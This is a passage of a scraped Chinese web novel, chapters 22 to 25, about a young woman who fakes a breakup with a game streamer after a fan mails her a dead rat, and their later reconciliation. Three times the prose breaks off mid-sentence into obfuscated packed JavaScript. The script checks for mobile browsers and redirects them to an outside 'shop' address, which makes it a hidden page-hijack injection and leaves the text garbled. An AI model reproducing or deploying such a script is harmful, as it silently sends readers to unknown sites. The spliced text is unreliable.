苏越很快发现了妹妹的异常,她询问:“是不是空气不流通,你有点闷得慌?”手下也没闲着,拿出椅子背后的杂志给姜满扇着风。 姜满深呼吸了几下,终于清醒过来。 她瘫在椅子上,搭上苏越的手让她不必再扇风了,气若游丝:“我没事了。” 苏越没再说话扰她。 姜满脸色苍白,不是那种年轻白里透红的好气色;而是毫无生气、筋疲力尽的沧桑。胸脯明显地起伏着,像一只搁浅的鱼儿一样,回不到大海,所以只能不住地张开着两侧的腮苟延残喘。 苏越看在眼里,疼在心里。 ……如果长大让她这么痛苦的话,那她宁愿妹妹永远是扎着两个小辫子,只会拽着她央求她和自己玩的小磨人精。 飞机上没网,姜满索性开始编辑分手小作文。她想找出一个让应之珏无法反驳的理由,想指出他的毛病和问题把他惹怒从而厌烦她。 可是她找不出。 哥哥太好了,她太喜欢他了,怎么能给他扣上莫须有的罪名呢? 所以对话框里的光标闪动了两个多小时,最终还是归到了原位。 姜父姜母特地来机场接她们。 美其名曰是苏父苏母上班没空,他俩正好送苏越回家。实际上的意图所有人都心知肚明——害怕那长头发小子截胡把姜满拐跑。 苏越热情地和姜父姜母打着招呼,分享着这几天游玩的所见所闻。而姜满则像一只幽灵一样拉着行李箱从三人旁边飘过,自顾自地打开后备箱把她的苏越的行李都搬了进去。 “姜满这丫头真是的,也不像越越一样这么亲人,蔫不拉几的到底随谁了。”姜母向姜父抱怨着。 苏越连忙劝解:“姨妈,满满是累了,没精神。让她回家好好休息休息。” 姜满抱胸靠在角落里,不说话。 比起自己这个局外人,好像他们三个才更像一家三口吧。 …… 送下苏越,这真正的一家三口回了家。 “姜满,有你的快递啊,放你屋门口了。”姜父一进门就提醒姜满。 “知道了。” “拆完把垃圾拿出来,别堆在屋子里……”姜母依旧喋喋不休。 姜满没等她说完,立即打断:“知道了!”拎起纸盒就进屋关上了门。 “……这孩子。”姜母还想说些什么,也被“哐”的关门声挡在了门外。 姜满一下子倒在床上,环顾四周发现剪刀“远”在两步之外的书桌上,索性直接用手抠开胶带连接处的缝隙,打算暴力开箱。 “什么东西包得这么严实……” 姜满坐起来把胳膊撑到膝盖上借力,两只手使劲向两边扯开。 迅雷不及掩耳之势,一个被卫生纸层层包裹住的东西直接从盒子里飞了出来,在空中划了个抛物线,然后直直坠落在地板上。 姜满闻到一股奇怪的味道,血腥味混杂着腐臭味。 她小心翼翼地走近掉落在地上的不明物体,思考着自己是记忆力减退了吗,怎么网购了什么都不记得了? 她一层一层地掀开卫生纸,越靠里的纸层透露出的暗红色越多。 姜满屏住呼吸,咬着嘴唇以防自己大叫出声,直到最后一次被揭开——一只被开肠破肚的死老鼠,不成样子地被摆在那里。 22. 小三 姜满额头冒出冷汗,靠在床边喘息着。 “有病吧,到底是谁要害我,我过得都这么惨了,还得再踩我一脚是吧。” 不过姜满很快就猜到了——百分之九十又是那个举报她、辱骂她的应之珏狂热粉丝干的。 本来以为对方已经消停了,没想到又卷土重来了。 姜满收拾死老鼠的时候,突然就明白了那个小女孩为什么又这么做了——大抵是应之珏前几日发的官宣的照片直接地刺激到了她。 姜满没有唉声叹气,没有找任何人诉苦,而是诡异地勾起了嘴角。 既然回来了,也是时候断掉了,长痛不如短痛,这个道理她还是明白的。 在飞机上怎么想也想不出的分手理由,此刻这不就送上门来了吗? “应之珏,我实在是受不了了,你粉丝给我寄了死老鼠,我吓得半死。我不想这么胆战心惊的活着了,这一切都是因为和你在一起所以才发生的。所以,分手吧。” 应之王眼睁睁地看着正在摸着自己头的大手停了下来,手的主人应之珏收到信息的表情由欣喜变为了错愕。 “姜满,我报警了,这次我们绝对不放过她了好吗?” 应之珏指尖颤抖着,在键盘上飞速穿梭,甚至还打错了几个字删了重新打。 “报不报警你随意,但是分手这件事我已经决定了。反正也还没谈几天,你就当什么也没发生过好了。”姜满狠心说着违心话。 “是因为我没保护好你吗?还有别的原因吗?对不起,这确实是我的错。再给我一个机会好不好,我不会再让你受到伤害了。” 应之珏急得不行。 他都怀疑姜满是不是在飞机上被掉包了,还是中途跳伞了。 ——因为他知道姜满是个会自己解决问题、不会把过错推给他人、也不会说话这么冷淡的女孩子。 姜满已经开始控制不住流下眼泪,她知道这些话不足以推开他,于是又添了一把火:“你非要听实话吗?好吧,是你逼我说的。 我休学之前,在大学里就有男朋友,一直没断。本来以为能双线并行的来着,可惜我出去玩的时候,发消息把名字叫错了,被他发现了。所以不好意思,他说和你断了他就原谅我, 所以,我没法选你了。” 姜满反应太快了,分分钟就胡诌的有模有样的,让应之珏一点儿漏洞也找不出来。 应之珏心都要碎了。 他颤颤巍巍地问出最后一丝执念:“……所以你后来喜欢叫哥哥,也是叫他习惯了是吗?” “对。顺便就这么叫你了,两个人一样的称谓,也不用担心叫混了。” ……顺便吗。 应之珏气极反笑。 他这么心动的那个称谓,原来只是顺便的、施舍给他的。 他还抱着最后一丝期望:“应之王呢?” “应之王,你也不要了吗?” 姜满的泪水大滴大滴的落在屏幕上。 她要啊,她怎么不想要。 不说话一起抱着就可以治愈她所有烦恼的大狗,她怎么可能想离开它。 但是姜满不后悔。 爱情本来就应该是锦上添花而不是雪中送炭的。 她现在这个状态,实在是不适合谈恋爱。她得有能力了、在家里说话有底气了、能改变父母的偏见了。 ——才能不让不好的情绪影响到本该单纯赤诚的爱。 她脑子里想的很多,但手下打出的字却是冰冷的,甚至杀人诛心:“替我跟它说声对不起吧,以后也见不到了。不过我男朋友说如果我喜欢萨摩耶,以后也可以养一只。” 应之珏扔下手机,不想再去看那些令他心脏一抽一抽疼痛的话语。 应之王察觉到他的情绪低落,甩着尾巴就贴了过来。应之珏像从前姜满喜欢做的那样,把头埋进应之王的毛里。 “……她还说你香呢,明明也是一股狗味儿。” 应之珏闻了几口,无奈地笑了。 “你还不知道吧,我们都是可以被替代的呢。” 应之珏越想越烦,打开短视频想刷点无脑搞笑的乐呵乐呵,官宣的视频却不停的被点赞,导致页面一直在不断提醒: “又有xx人点赞了你的视频。” 弹出的窗口和在嘲笑他一般,烦得要死。 应之珏点了进去,看到自己文案里写的“有弹幕造谣哥哥被甩了,澄清一下。”——简直是预言家来的,越看越觉得自己鼻子变得红红圆圆的 ——他应之珏就是个小丑! 应之珏破罐子破摔了,搞笑基因在此刻依旧没有消失,他回复了自己的文案,紧贴着水灵灵的一句:“澄清一下,这不是谣言,今天确实被甩了。” …… 这晚的直播热闹非凡,全都是来看“哥哥不留余地”笑话的。 有人好奇地问:“这才几天啊?哥你露头就被秒了?” 还有人安慰道:“没关系呀哥哥,情场失意,战场得意!” 应之珏又笑了,虽然他不知道自己怎么被甩了还能笑得出来。 ……可能是自己也觉得自己很好笑吧,事到如今了,笑一下算了。 “女人只会影响我出枪的速度。看哥哥今晚怎么杀穿国榜吧。” …… 姜满痛哭了一会儿,不知道是哭缺氧晕过去了还是太困睡着了,反正再一睁眼,天已经完全黑了。拿起手机看聊天记录还停留在她发的最后一句话上。 应之珏应该是不想再理她了吧…… 自己的目的达到了,可姜满却不知道是该喜还是该悲。 她还没抱够哥哥呢,还没牵够哥哥的手,最重要的是——她还没试过哥哥常常上下一沾就吐露出连珠妙语的嘴唇,亲起来到底软不软。 好在应之珏是个主播,即便分手了没有交集了,姜满还能通过网络看到他。 点开直播间,应之珏好像与平日并没有很大的区别。依旧稳定出枪,准确听声辨位,还不忘和弹幕互怼着。 姜满稍稍放下心来。 她又点进应之珏的主页,想看看他有没有把官宣视频删掉。 不对,这关她什么事,人家爱删就删咯,留着干嘛?留着还耽误找新女朋友了。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17564618|204678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 可是在看到那视频还是原原本本地保留在那里,没有被隐藏时,姜满的心还是小小的雀跃了一下。 无论是不是舍不得删还是没来得及删,至少它现在还在。 姜满点进视频,向自己保证:就再看这一遍,以后再也不关心了。 却被应之珏自嘲似的那一句补充又逗乐了。 “这傻叉……” 或许是睡了那一小觉,姜满这晚格外精神,待在应之珏的直播间就不挪步了。 她看着应之珏开了不匹配队友的单人四排。 单人四排简称单四,就是一个人进入游戏对局,而对手都是四人一队的编制组成。 应之珏没在怕的,挑了人最多的城区就扎了进去,落地就是猛猛钢枪。拿着个冲锋枪,也没有倍镜,就纯纯机瞄当狙击枪使打着百米开外的敌人。 有个被他击倒的敌人趴在他脚边左右摆着头,还把背包里所有东西都丢了出来,示意要应之珏留她一命。 为了活命还开了麦:“小哥哥你别补我,我男朋友马上过来,你不打我他也不打你,我们都放过彼此……” 话音未落应之珏就把这妹子给补了。 “没事儿啊,他来了我照样打他。” 妹子的对象气势汹汹地赶来为她报仇,可惜被手感火热的应之珏斩落马下。 弹幕开始谴责不近人情的此男: “人家妹妹都和你好说好商量了,你咋还这样,太坏了!” “宁拆一座庙,不破一桩婚啊!” “太可怜了,这一对儿小情侣碰上你,真是倒大霉了。” 应之珏嘴角抽搐了一下。 “……都可怜他们,谁来可怜可怜我啊。” 他还嫌不满意,特地把这对小情侣紧紧靠在一起的两个盒子,随便举起来一个跑了好远才放下,让他们死也死不到一起去。 就这样一直盘踞在他的直播间里,姜满仿佛忘记了他俩已经分手的事实。直到应之珏下播,“哥哥不留余地”的直播间大门紧闭,她才抽离出来,心里空落落的。 ……已经没有理由再招惹他了。 姜满翻了个身,打算睡觉了,心心念念的那个人竟主动发来微信:“让我当了小三是你的错,但是一码归一码,你被恐吓这件事必须查明了。” 应之珏的话不容拒绝:“刚刚警察联系我,那个小孩是省内的,一周后家长带她来咱们这进行调解,当事人必须出面。” “就最后这一次,我得陪你一起去,彻底解决了我才放心。” “妹妹,你再瞒一下你男朋友好了,我怕哥哥吃醋。” 姜满看着应之珏满屏的消息,一时不知道该回什么。 应之珏还是应之珏,哪怕被甩了,也要给姜满把一切麻烦铲平了才退场。 不过姜满觉得这个应之珏怎么比之前……更颠了? 她第二天白天才回他。 一向擅于找出突破口的她在面对应之珏时总是犯了难的。 一个淡淡的“好”字就打发了应之珏。 “这小没良心的……”应之珏彻底没脾气了。 23. 撑腰 时间很快来到了约定调解的那日。 这天是个工作日,白天姜父姜母都出去上班了,所以姜满才得以神不知鬼不觉地溜出家门。 户外虽然没有家里这么温暖,但空气的新鲜是窝在家里所感受不到的。 她贪婪地呼吸着来之不易的自由的味道。 来到警局,她远远就看到了那一条高高瘦瘦的应之珏。 尽管这次他身边没有那个标志性的大蒲公英,姜满还是一眼就能认出他来——拢到耳后显得利落有型的顺滑直发,穿着黑色的冲锋衣和相同挺括材质的工装裤,戴上了黑色的口罩只漏出深邃的眼眶, ——活脱脱当代的网络男神来的。 姜满庆幸自己今天也带了口罩,能遮盖一些不由自主流露出来的表情。 但是动作和心情是没有办法被掩盖的。 姜满的脚步一滞,心脏却开始狂跳。 “怎么办……我该怎么面对他啊……” 她感觉自己好没出息,看见他就想往他身边凑,想要贴近他怀里。 走到跟前,应之珏先跟她打了招呼:“那小孩和家长已经在调解室里坐着了。” 姜满不解:“……那你这是在?” 应之珏清了清嗓子,很自然的说:“在等你啊,前女友。怕你自己进去太紧张。” “……” 姜满没说话,先他一步推开了调解室的门。 那小姑娘一见到应之珏就站了起来,激动地大喊:“哥哥我就知道你不是她们说的土肥圆!” 姜满:…… 应之珏:…… 她的父母无奈地把她按回了座位,却控制不住这社交恐怖分子一样的孩子继续邀功:“我一直在忙你骂那些说你不敢露面的人呢!” 应之珏淡淡瞥了她一眼,没说话,只是给姜满拉开了椅子,然后自己在她身边坐下。 负责案件的警察开始走流程:“李依依,十七岁,多次对姜满女士进行言语辱骂,在四日前向姜满女士家里寄去死老鼠恐吓。对以上事实,两位当事人有什么需要说明指正的吗?” 姜满沉默着摇了摇头,表示没有。 那个叫李依依的小女孩抱起胳膊翘起二郎腿,等待着父母挡在她前面为她辩驳。 果不其然,警察刚说完,李依依的妈妈就坐不住了:“不好意思警官,我打断一下。我们家孩子只是不懂事儿,心不坏。这不是也没对别人造成什么实质性伤害吗,而且还是未成年,所以我们还是想争取一下,大家各退一步,不要得理不饶人了。” 李依依仗着有人给她撑腰,毫不掩饰地恶狠狠地盯着姜满,想从中窥出这人到底有什么特别的,能把她家哥哥迷的不按时直播? 姜满看着眼前为女儿说话的李依依母亲,不用猜都知道,她肯定知道女儿这样做是错的,可还是义无反顾的站在她那一边。 突然就很羡慕她。 尽管这样被娇宠着长大的结果是如今肆无忌惮胡作非为,但作为女儿这个角色来说,能做这些,是因为有来自于家庭的底气,稳稳的托举着呢。 而这些是她所一直渴望,却从未拥有的。 应之珏的回击打断了她的思绪:“十七岁也应该对自己的所作所为负责了,未成年不是你骚扰别人的挡箭牌。你家孩子年纪小,可是我们家也才比她大三岁。怎么,早出生这几年就活该被欺负了?” 他没有咄咄逼人的大喊大叫,只是沉稳的、一字一句清晰地阐述出事实。 姜满低着头抠手指,突然有点想哭。 “好了好了,咱们当事人先都不要激动。”坐在长桌中间的警察制止了两人的直接对话。 “那么我想问一下姜满女士,您这边的要求是什么呢?” 姜满一时有些语塞。话题已经递到了她这里,她好像必须得说些什么了。 “书面道歉加精神赔偿,缺一不可。”应之珏替姜满做出了回答。 李依依不乐意了:“哥哥,我对你这么好,你为什么要向着她啊!” 应之珏终于舍得把目光放在那娇蛮的小姑娘身上,不过这目光并不善意,而是冷冷瞪了一眼。 从碎发间隙漏出的这双眸子更显狠戾,李依依被瞪得有点害怕。 “我不认识你,也不需要。” 他又恢复了直播间中怼人的模式:“有时间狗叫,不如把精力用在学习上,别等到成年了以后做事情都不敢当。” 李依依心碎了——她梦中完美有素质的哥哥怎么能说她说话是狗叫! “之前你发好友申请的时候,我就想要起诉你的。是她拦着我,说要给你个机会。但是现在看来你自己不爱惜自己的羽毛,我也忍不了了。你记住,要告你的一直是我,我现在只后悔没有早点追究。” 应之珏继续陈述着事实,不过这些话却像刀一样扎进李依依刚刚还因有机会能成为第一个见到哥哥真面目的粉丝,而欣喜的心里。 有的时候,爱恨只在一瞬间。 尤其是李依依这种偏激的爱,更容易因爱生恨。 她一下子就把矛头转移到了应之珏身上,几乎是跳起来咆哮着说的:“你怎么这样啊!火了就忘本了是吗?你一定会后悔的!游戏主播这么多,你以为你算个什么啊!” 应之珏轻轻笑了——这正是他想要的。 把麻烦完全移到自己身上,至少不会让姜满受牵连了。 他没有对不起她的了。 ……毕竟谁知道她那正宫靠不靠谱,能不能保护好她呢。 最后的结果是,处理的警官也看不下去了,客观认定这个李依依确实需要好好的教育一番,于是一切都走的最高级别的处罚。 整个过程中,姜满都没说什么话,一味的靠应之珏为她冲锋陷阵,安心得很。 两人站在警局门口,相顾无言。 还是应之珏打破了僵局,毕竟他坦坦荡荡的,心里没鬼。 “送你回去。” 姜满看表,距离父母下班还有一段时间,她也不愿冒这个险。 她摇了摇头。 “……你今天话很少啊。” 应之珏把两只手撑在膝盖上,低头转脸观察姜满的神情。 “怎么?和哥哥吵架了?不会是因为我吧?” 应之珏承认,他就是故意使坏这样说的。 那怎么了,谁被小三了能一直平心静气的啊?他这也就是开个玩笑自嘲一下罢了,一点儿也称不上是恶劣吧? ……哥哥哥哥,哥你大爸呢,神经病应之珏。 姜满想笑又觉得这个场合不该笑,硬生生地憋了回去。 “别烦我。”姜满甩了一下刘海,抬起头来想要离开,却被应之珏发现了眼下的乌青。 他拽住姜满的手腕,愣了一下,反应过来现在这种动作不合适了,于是又慢慢松开。 “你最近没睡好吧,好像也瘦了……”应之珏当然希望姜满这个欺骗她感情的骗子能恶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17564619|204678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有恶报,可是真看见她这么没精打采的样子,应之珏又心疼的不行了。 姜满把手插进口袋里,摆出一副“生人勿近”的架势,哑着嗓子回复:“看我过得不好,你不是应该很爽才对吗?” 应之珏冷哼一声,“我只是觉得他没法让你开心,就是废物,还没我有用呢。” “所以,要不你还是考虑考虑我吧。” 姜满彻底石化了。 “你有病吧应之珏,你有没有道德底线啊,你要当小三儿啊?” 应之珏也不是一点气都没有的主:“到底是谁没有道德底线啊?我当了小三儿不还是拜你所赐的啊!你以为我想当吗?” 姜满被应之珏噎住了。 是哈,他说的有道理。 自知理亏,又不能暴露自己说的这一切都是谎言,姜满只得把牙齿打碎往肚子里咽。 两人又陷入了沉默。 应之珏又忍不住了,还是下意识想要关心,软下声音问她:“……死老鼠,没吓到你吧?那玩意儿携带病菌可不少,有没有好好消毒?” “有什么好害怕的,不就是大了点儿吗,”姜满嘴比枪硬,对自己当时的无措闭口不提,反而又开始尽显自己的梗王基因:“不过我一开始还以为她是南方人呢,毕竟这么大的和变异了一样的老鼠,我们这儿可不好找。也算是辛苦她,让我开眼了。” “但她手艺不咋地,给人家老鼠切割得也太丑了,还没我刀法了得。” ……不对,自己怎么又莫名其妙和他聊上了? “……和你没什么好说的。我要回家了。”姜满自知不妙,不再和他纠缠,快步离开了。 …… 应之珏打开门,一把揽起趴在门口佯装成加绒加厚款地毯的应之王,说出自己的怀疑:“我感觉,姜满怪怪的。” 他蹲着揉了揉应之王的脸颊肉,询问着它的意见:“被你一眼就看中的人,再怎么说也不该是坏女孩子吧。” “你说,她是不是有事瞒着我……” 应之珏还是选择遵从内心的声音——他觉得姜满不是那样的人。 于是他坐在地下就开始翻看她的微信、游戏记录……任何犄角旮旯都没有放过。 还别说,真让这小子找到了破绽:姜满自从成都回来后这么多天,微信运动里显示的步数记录一直没有过百,这说明姜满一直没出过门;而游戏记录也是空空如也,没有新增的战绩。 她也不出门,也没打游戏,在家里能干啥? 姜满可不是这么能闲的住的人。 光想没用,应之珏是行动派,立刻起身带着应之王出发了。 他希望姜满看在应之王的面子上能心软,和他面对面好好说清楚。 来到楼下,应之珏找准姜满卧室的窗口站定,给她发去消息:“往楼下看。” 姜满:“?” “我不在家。” “别骗哥哥。你微信步数已经一个小时没动过了,不是在家还能去哪儿?” “你偷窥狂啊?” 姜满走到窗边,一眼就看到了那一人一狗。 她估摸着这个点正是父母下班的时候,特别害怕他们再正巧撞上,急得她赶应之珏走:“你别在这待着,有事微信说,快走。” 应之珏不知道事情的严重性,挑了挑眉:“怎么?正宫哥哥要来了?” 他才不在乎脸面呢,光脚的不怕穿鞋的,正好看看趁此机会这位原配的庐山真面目。 24. 真相 被当狗遛× “我不走。要么你就告诉我为什么分手,要么我就在这里坐到天荒地老,等着你口中真正的‘哥哥’来。” “被人一枪爆头了还能有淘汰回放供我查验呢,我这被甩了,上门讨个说法还不行了?” 姜满在屋里来回踱步,心中暗骂这个应之珏怎么不见棺材不落泪。 “你很闲吗?为什么没脸没皮一直缠着我?” “小三儿,不都是这样的吗? 是你让我黑化的。” ——应之珏理直气壮。 姜满看着时间一点一点流逝,焦躁地又开始扯头发。 ……真的不能再拖了。 只得妥协:“分手是因为那天你送我回来被我爸妈看到了,他们不同意我谈恋爱,你赶紧走吧,要是碰上他俩下班回来,更说不清楚,你一辈子都别想再见到我了。” 应之珏看到这条消息,愣了一瞬。不过很听劝,直接转身就走了。 只有应之王不听话,还望着刚刚姜满曾经出现过的窗口愣神,直至被应之珏使劲拽了两下才跟着离开。 姜满松了口气,悄悄探出头来观察他的背影,却见那人像是想起了什么,突然停下脚步。 与此同时,姜满又收到了来自应之珏的一条新消息:“所以,没有别的哥哥,对吧?” ……笨蛋应之珏,怎么这么在乎这个啊! 姜满为了安抚他,把他哄走,只得把自己所有的谎言都就此戳破:“没有,就你一个。所以你别站在那了!快点走!” 应之珏知道姜满一直在高处看着她,心情大好,比了个开枪的手势,眯着眼睛瞄准了姜满远远小小的身影。 姜满对他这不急不慌还非要耍个宝的稳如老狗无奈得不行,甩了甩手让他滚。 应之珏笑得口罩都移位了。 他向下扯扯,让眼睛重拾光明,拉着应之王就小跑离开了姜满的视线范围。 只要不是姜满不喜欢他了,强扭的瓜不甜,其他问题,都好说,至少都是能解决的。 哥哥之所以被称为哥哥,自然是要有解决问题的能力和信心,不然纯粹是装逼。 “所以你还喜欢我对不对?” “为什么不同意,我哪里不好了,这就改。” “这几天你也不好过吧,自己瞒着哥哥,累不累啊,有问题,要早点告诉我,好不好。” 姜满不用看都知道,手机连续震动是哪位烦人精一直在发消息。 “……我爸说你头发留的太长,显得不三不四的。”姜满犹豫片刻,还是把这看起来很鸡蛋里面挑骨头的理由说了出来。 应之珏迟迟没等到下文,于是主动出言:“就这?然后呢?没了?” “嗯。” “所以你就为了这跟我分手?我把头发剪了不就行了,几分钟的事儿。” 应之珏对头发本就没什么执念,现在也只是留到刚刚到肩,比狼尾更清爽一点的状态,太长了他还嫌不好打理呢。 留一点长发的习惯也是从他刚毕业那会儿形成的,忙着调试直播设备,一切都需要尝试,于是乎就忘却了生长的头发。 不过长着长着,应之珏也觉得这发型挺适合自己的,索性就这么延续下来了。 “不是这么简单的。”姜满连忙纠正她。 ——姜父姜母的禀性,她最熟悉了,他们大概率根本就不是因为应之珏的头发所以才不支持的,就是想继续全方面地控制姜满,以保证他们的绝对权威。 “如果你理了头,他们还会找别的借口的,比如说你的职业不好之类的……” “我不想让你因为他们而做出改变。这次因为头发妥协让步了,那下次呢?变本加厉怎么办?” 姜满是无法独立生存,还需要在家庭中扮演乖乖女角色的小孩子。 但是应之珏不是了,他有他自己的事业,有他自己的生存空间,本就没义务为了她而忍受指点与压抑。 应之珏没有挑起家庭对立,说什么让姜满来找他,他给姜满一个家之类的话。 因为他也知道,姜满要是那种一句话就能被俘辱的,就不会对自己开店这件事这么耿耿于怀了。 “……姜满,这个年纪,就是会有生长痛的。别的我不多说,但是从你父母能同意让你休学这件事情上来看,他们也并不是执拗到无法改变的,他们也是在乎你的感受的。” 姜满没否认。 好得不完全、坏得不彻底。 正因为如此她才会痛苦。 “反而呢,这给了我们网恋的机会。你想啊,和高中躲着老师和家长谈恋爱一样刺激……” “你这么熟悉啊,高中谈过妹妹?”姜满冷不丁地打断他。 应之珏自知失言,赶紧找补:“我就是说那个意思嘛!就是你不要和我分手,不能经常见面就不能见呗,我总能等到你独立的那一天的。” “就怕你等不及,和别的妹妹跑了。我不想耽误你。” “我可不像应之王有四条腿,整天精力充沛的。不过你要是真担心,也给我栓个狗绳好了。” 姜满脸“唰”一下红了。 她怎么觉得此次分手风波过后,这个应之珏说话越来越没分寸了! “你要这有这个癖好,直接扒了应之王的给你自己戴上过过瘾行了。” 应之珏现在看姜满发的每一句话都翻来覆去地读好几遍,也一直不敢退出和她的聊天框,生怕一个不留神这丫头就又跑了。 “所以现在我可以恢复原配位置了吗,前女友。” “……谁是你前女友啊。” 应之珏嘴角摆开好看的幅度:“那女朋友可不可以再叫声哥哥听呀。” “哥你大爸,滚,我要去吃饭了。” 应之珏不生气,反倒觉得姜满好萌好可爱。他放下手机,抱着应之王直接瘫在地上。一长条人和一大坨狗就这样不分你我。 “太好了,原来咱哥俩没被甩。” 应之珏想说话却发现呼吸有些不畅,赶紧拍了拍应之王的大腚,让它从自己身上下去,然后扶着腰缓缓起身。 姜满这边,刚因为复合而露出的一点点欣喜的苗头,又在饭桌上被泼了一盆冷水。 “满满,最近是不是挺闲的?别整天躺着了,早点备考呗,现在竞争这么激烈,早起的鸟儿有虫吃。” ……我闲还不是拜你们所赐——小店小店不让我干了,恋爱恋爱不让我谈了,不躺着干啥? “我回去复学以后才大三,相当于我现在还是个大二的学生。现在备考?战线 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17569323|204678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拉这么长,考试的时候早忘了吧?而且,我本来也就不想当什么公务员。” 姜满直接击破了父母的幻想。 姜母又拿出苏越来说事儿了:“满满,你就先试试呗,你姐姐都这么多年了不也还坚持着,你不能一上来就泄气啊,万一就成了呢?” 姜满撇撇嘴。 她知道姜母心里的小九九——虽然表面上和姨妈还有姐姐关系这么亲密,有什么话都和她们说而不和“不成熟”的自己说,实则姜母很想从孩子的比较上压她们一头。 要是姜满考上了,姜母指不定怎么宣扬她“其实没怎么学”、“就是聪明”之类的话,把姨夫姨妈对于苏越的托举视若无睹,只顾着炫耀自己什么也没干家里也能出个公务员。 表姐苏越还总是好心主动调解姜母和姜满之间的关系呢。 当她听到姜满又向她吐槽姜母逼着她现在就开始备考的时候,她提出了一个两全其美的建议: “满满,要是待在家里太难受的话,你搬过来和姐姐一起住一段时间吧。” 苏越从毕业之后就一直在备战考公,虽然屡战屡败,但苏父苏母并不着急,还单独给她租了个房子让她自己住。 “……我怕影响你学习。” 苏越发了个摇头的表情:“怎么会呢?你来了还可以给我做饭,省去我纠结点什么外卖的时间了。而且我学习去是书房学,你影响不到我的。” 她又补充道:“去我那住的话,谈恋爱还不会被发现哦。” 姜满看向苏越,眼神里充满了不可置信:“你不帮着我爸妈劝我分手?” 苏越摇摇头:“你都成年了,又不是早恋。再说了,我只是不能明目张胆地冲撞长辈,什么时候不是向着你的啊?” 姜满恨不得现在就冲进屏幕抱着姐姐狂亲:“我就知道你最好了。姐姐,我真的要亲亲你了!” 苏越效率很快,直接和姜母打电话沟通的。 十分钟以后,姜母推开姜满的卧室门,告知了她这一消息:“姜满,姐姐邀请你去她家住几天,我觉得挺好的,你多跟着姐姐,感受一下学习的氛围,提前进入状态。” “OK没问题。” 姜满一口答应下来,她就是一个很藏不住事儿的小姑娘啊!根本装不出刚刚得知的惊讶来。 姜满收拾行李收拾累了,躺在床上想玩会手机来着,却收到了应之珏的游戏邀请:“既然线下不好见面,那让哥哥在线上见见你好不好?” 姜满还没来得及告诉应之珏,等明天她搬到姐姐那里他俩就可以偷着见面了。 不过她想了想,确实游戏瘾被勾上来了,于是欣然应约。 “应之珏,你直播也玩,现在又和我玩,我又这么菜,你不嫌烦啊?” “工作是工作,生活是生活,”应之珏邀请“人机妹”加入队伍,“喔,对了,我现在没开直播,你想说什么都可以,不用担心。” 应之珏现在是一点姜满的个人信息都不敢流出了,唯一敢的就是在官宣视频下面又追加了一句:“都是误会,实则真的没有被甩!” 有人揶揄,“余地哥你是不是也被当狗遛了?” 而哥哥不留余地只是淡淡地回了一句:“你们这群单身狗懂个屁,这叫情趣。” 25. 吃鸡 …… 进入游戏,姜满做着她在现实中没能越过的界限——像一头见了红布的牛一样,快速冲到“哥哥不留余地”身边,一直贴着他走。 “干嘛挤我啊,妹妹。” “就挤就挤。” 姜满不爱钢枪,她最喜欢的就是野区发育起来以后慢慢挪进圈,最好是在沿路上给她刷两个人机或者和她水平差不多的伪人机,体验体验游击战的快感,但是不能真把命给丢了。 所以应之珏把跳伞队长转让给了她,跟随姜满。 姜满选择了离航线不远不近,正好能俯冲到的一个无名小房区。 “那个房子我刚刚搜过了,你出门往右边走进那个二层的楼。” 姜满一直不理解为什么有人能眼观六路耳听八方,应之珏甚至都能时刻关注她的站位然后做出提醒。不像她,搜过哪个房子都记不清楚,一出门就忘了自己从哪个方向过来的了。 缩圈了以后,两人还在圈里比较靠中心的位置,于是决定先去个高处的山坡观察。 应之珏打开倍镜向远处眺望着,一张大脸却占据了整个屏幕——是姜满操控着游戏小人直直地站在了他的枪口前。 应之珏以为她是不小心的,也没出声提醒,自己默默轻轻转动枪口,默默移了个位置。 可是“人机妹”像开了自动捕捉跟随一样,又出现在了“哥哥不留余地”的瞄准镜里。 “怎么了,姜满,一直盯着我干什么?只允许哥哥看你,不允许哥哥找敌人啊?” “……就是想黏着你。”姜满嘟嘟囔囔的话透过耳机传递的不太清晰。 “你说什么?手堵住传声孔了吗?” 姜满却以为应之珏在演,故意让她再说一遍。“我说,你是一坨黏狗屎。”然后乖乖走开,不再堵他的视野。 应之珏:“……好吧,黏狗屎就黏狗屎,我认了。” “姜满,后面来车了,你跟着我走,躲那个石头后面,别被他们撞到。” 姜满不以为意,绕柱吗?这还不简单! 结果从眼前疾驰的吉普里一下子跳出四个人来,姜满吓得开始乱叫:“我靠应之珏怎么有四个人啊!他们是不是非法组队!我要举报举报举报……” 应之珏弱弱地回复道:“举报不了……因为我突然想起来我们开的是不匹配队友的……四排。” 姜满心都要死了。 躲着也不是回事儿,应之珏要是没了她也活不了啊,不如背水一战。 于是应之珏就眼瞅着这个“人机妹”举着大盘鸡直接从自己身后冲了出来,拦都拦不住,火力全开。 “人机妹使用DP-28倒了DkHgus” “人机妹使用DP-28击倒了你有什么实力” 